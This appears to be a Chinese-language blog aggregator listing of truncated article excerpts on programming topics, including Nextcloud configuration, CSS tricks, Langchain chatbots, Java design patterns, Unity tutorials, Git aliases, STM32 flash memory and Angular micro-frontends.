cd /config vi config.php #ONLYOFFICE allow_local_remote_servers > true, #应用商店加速 appstoreenabled > true, appstoreurl > https://www.orcy.net/ncapps/v2/, #nginx配置调优 add_header Strict-Transport-Security max-age15552000; add…...

【CSS】css如何实现字体大小小于12px?
【CSS】css如何实现字体大小小于12px? 问题解决方案transform: scale(0.5)(常用)SVG 矢量图设置text 问题 文字需要显示为12px,但是小于12px的,浏览器是显示不来的 解决方案 transform: scale(0.5)(常用࿰…...

【Langchain+Streamlit】旅游聊天机器人
【LangchainStreamlit】打造一个旅游问答AI-CSDN博客 项目线上地址,无需openai秘钥可直接体验:http://101.33.225.241:8502/ github地址:GitHub - jerry1900/langchain_chatbot: langchainstreamlit打造的一个有memory的旅游聊天机器人&…...

〖大前端 - ES6篇②〗- let和const
说明:该文属于 大前端全栈架构白宝书专栏,目前阶段免费,如需要项目实战或者是体系化资源,文末名片加V!作者:哈哥撩编程,十余年工作经验, 从事过全栈研发、产品经理等工作,目前在公司…...

JAVA设计模式之代理模式详解
代理模式 1 代理模式介绍 在软件开发中,由于一些原因,客户端不想或不能直接访问一个对象,此时可以通过一个称为"代理"的第三者来实现间接访问.该方案对应的设计模式被称为代理模式. 代理模式(Proxy Design Pattern ) 原始定义是:让你能够提供对象的替代…...

vivo发布2023 年度科技创新;阿里全新AI代理,可模拟人类操作手机
vivo 发布 2023 年度十大产品技术创新 近日,vivo 发布了「2023 年度科技创新」十大产品技术创新榜单,并将这些技术分为了 4 个板块。 「四大蓝科技」为 vivo 在去年推出的全新技术品牌,涵盖蓝晶芯片技术栈、蓝海续航系统、蓝心大模型、蓝河操…...

【制作100个unity游戏之23】实现类似七日杀、森林一样的生存游戏15(附项目源码)
本节最终效果演示 文章目录 本节最终效果演示系列目录前言实现树倒下的效果拾取圆木砍树消耗卡路里斧头手臂穿模问题处理源码完结 系列目录 前言 欢迎来到【制作100个Unity游戏】系列!本系列将引导您一步步学习如何使用Unity开发各种类型的游戏。在这第23篇中&…...

python巧用定理判断素数
目录 判断一个数n是否是素数 求一个数的素因数个数 求大于等于指定数的最小素数 在数论中有三个非常重要的关于素数的定理 1、任何数都可以表示成若干个素数的乘积 2、任意数的素因子一个大于根号n的自然数,另一个与其对应的因子则必小于根号n。 3、除了2和3以…...

2023年总结
人们总说时间会改变一切,但事实上你得自己来。 今年开始给自己的时间读书、工作、生活都加上一个2.0的release版本号,相比过去的一年还是有很多进步的。 就跟git commit一样,一步一步提交优化,年底了发个版本。用李笑来的话说&am…...

Git中为常用指令配置别名
目录 1 前言 2 具体操作 2.1 创建.bashrc文件 2.2 添加指令 2.3 使其生效 2.4 测试 1 前言 在Git中有一些常用指令比较长,当我们直接输入,不仅费时费力,还容易出错。这时候,如果能给其取个简短的别名,那么事情就…...

STM32内部Flash
目录 一、内部Flash简介 二、内部Flash构成 1. 主存储器 2. 系统存储区 3. 选项字节 三、内部Flash写入过程 1. 解锁 2. 页擦除 3. 写入数据 四、工程空间分布 某工程的ROM存储器分布映像: 1. 程序ROM的加载与执行空间 2. ROM空间分布表 一、内部Flash…...

【Axure高保真原型】引导弹窗
今天和大家中分享引导弹窗的原型模板,载入页面后,会显示引导弹窗,适用于引导用户使用页面,点击完成后,会显示下一个引导弹窗,直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

微信小程序之bind和catch
这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...

云启出海,智联未来|阿里云网络「企业出海」系列客户沙龙上海站圆满落地
借阿里云中企出海大会的东风,以**「云启出海,智联未来|打造安全可靠的出海云网络引擎」为主题的阿里云企业出海客户沙龙云网络&安全专场于5.28日下午在上海顺利举办,现场吸引了来自携程、小红书、米哈游、哔哩哔哩、波克城市、…...
在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中,手势开发全攻略:
在 HarmonyOS 应用开发中,手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力,既支持点击、长按、拖拽等基础单一手势的精细控制,也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档,…...
蓝桥杯 2024 15届国赛 A组 儿童节快乐
P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡,轻快的音乐在耳边持续回荡,小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下,六一来了。 今天是六一儿童节,小蓝老师为了让大家在节…...
Python爬虫(二):爬虫完整流程
爬虫完整流程详解(7大核心步骤实战技巧) 一、爬虫完整工作流程 以下是爬虫开发的完整流程,我将结合具体技术点和实战经验展开说明: 1. 目标分析与前期准备 网站技术分析: 使用浏览器开发者工具(F12&…...
Angular微前端架构:Module Federation + ngx-build-plus (Webpack)
以下是一个完整的 Angular 微前端示例,其中使用的是 Module Federation 和 npx-build-plus 实现了主应用(Shell)与子应用(Remote)的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...

算法:模拟
1.替换所有的问号 1576. 替换所有的问号 - 力扣(LeetCode) 遍历字符串:通过外层循环逐一检查每个字符。遇到 ? 时处理: 内层循环遍历小写字母(a 到 z)。对每个字母检查是否满足: 与…...

Linux 内存管理实战精讲:核心原理与面试常考点全解析
Linux 内存管理实战精讲:核心原理与面试常考点全解析 Linux 内核内存管理是系统设计中最复杂但也最核心的模块之一。它不仅支撑着虚拟内存机制、物理内存分配、进程隔离与资源复用,还直接决定系统运行的性能与稳定性。无论你是嵌入式开发者、内核调试工…...

C/C++ 中附加包含目录、附加库目录与附加依赖项详解
在 C/C 编程的编译和链接过程中,附加包含目录、附加库目录和附加依赖项是三个至关重要的设置,它们相互配合,确保程序能够正确引用外部资源并顺利构建。虽然在学习过程中,这些概念容易让人混淆,但深入理解它们的作用和联…...